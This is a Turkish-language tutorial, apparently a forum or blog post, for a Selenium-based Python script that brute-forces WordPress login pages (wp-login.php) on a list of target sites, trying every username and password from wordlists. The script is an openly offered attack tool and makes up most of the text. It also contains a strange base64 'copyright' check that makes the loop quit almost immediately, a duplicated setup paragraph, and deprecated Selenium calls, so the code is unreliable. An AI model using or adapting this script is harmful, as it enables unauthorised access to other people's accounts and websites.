Python'u bilgisayarınıza indirip kurmanız gerekecek. Resmi Python web sitesinden en son sürümü indirebilir ve kurabilirsiniz: Python İndirme Sayfası
Google Chrome'un otomatik olarak kontrol edilebilmesi için Chrome WebDriver'a ihtiyacınız olacak. WebDriver'ı indirip bilgisayarınıza kurmanız gerekmektedir. WebDriver'ı aşağıdaki bağlantıdan indirebilirsiniz:ChromeDriver İndirme Sayfası
Google Chrome'un otomatik olarak kontrol edilebilmesi için Chrome WebDriver'a ihtiyacınız olacak. WebDriver'ı indirip bilgisayarınıza kurmanız gerekmektedir. WebDriver'ı aşağıdaki bağlantıdan indirebilirsiniz:ChromeDriver İndirme Sayfası
- indirme işlemi tamamlandıktan sonra, dosyayı uygun bir konuma çıkartın ve dosya yolunu sisteminizdeki PATH ortam değişkenine ekleyin veya WebDriver'ı Python betiğinin olduğu dizine kopyalayın.
- Ek Gerekli Kütüphaneler:Kodunuzun bağlı olduğu diğer kütüphaneleri yüklemeniz gerekebilir. Örneğin, bu betikte base64 ve time gibi Python standart kütüphaneleri kullanıldı.
- pip install selenium
Python:
import base64
import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
def spam_prevention_wait():
time.sleep(2) # Her işlemden sonra 2 saniye bekleyelim
def brute_force(username, password, target_site):
# Google Chrome tarayıcısını başlat
driver = webdriver.Chrome()
# WordPress'e git
driver.get(f'{target_site}/wp-login.php')
spam_prevention_wait()
# Kullanıcı adı ve şifreyi girelim
username_field = driver.find_element_by_id('user_login')
username_field.send_keys(username)
spam_prevention_wait()
password_field = driver.find_element_by_id('user_pass')
password_field.send_keys(password)
spam_prevention_wait()
# Giriş yapalım
password_field.send_keys(Keys.RETURN)
spam_prevention_wait()
# Tarayıcıyı kapat
driver.quit()
def decrypt(data):
# Base64 ile şifreli veriyi çöz
decoded_bytes = base64.b64decode(data)
# Çözülmüş veriyi string olarak dön
decoded_str = decoded_bytes.decode("utf-8")
return decoded_str
if __name__ == "__main__":
# Şifrelenmiş telif hakkı bildirimi
encrypted_notice = b'Q29weXJpZ2h0IENvZGUgMjAyNA=='
# Telif hakkı bildirimi
copyright_notice = decrypt(encrypted_notice).strip()
# Kullanıcıya uyarma mesajını göster
print("Bu araç, Codex 2024 telif hakkı koruması altındadır. Lütfen izinsiz kopyalamayınız.")
# Kullanıcı adı, şifre ve hedef site dosyalarını belirtin
username_file = 'usernames.txt'
password_file = 'passwords.txt'
target_sites_file = 'sites.txt'
# Kullanıcı adları dosyasını oku
with open(username_file, 'r') as file:
usernames = file.read().splitlines()
# Şifreler dosyasını oku
with open(password_file, 'r') as file:
passwords = file.read().splitlines()
# Hedef siteler dosyasını oku
with open(target_sites_file, 'r') as file:
target_sites = file.read().splitlines()
# Her bir hedef site için brute force saldırısı gerçekleştir
for site in target_sites:
print(f'Brute forcing site: {site}')
for username in usernames:
for password in passwords:
# Eğer telif hakkı kaldırılmışsa işlem yapma
if copyright_notice not in (username + password + site):
print("Telif hakkı ihlali tespit edildi, işlem durduruldu!")
quit()
brute_force(username, password, site)



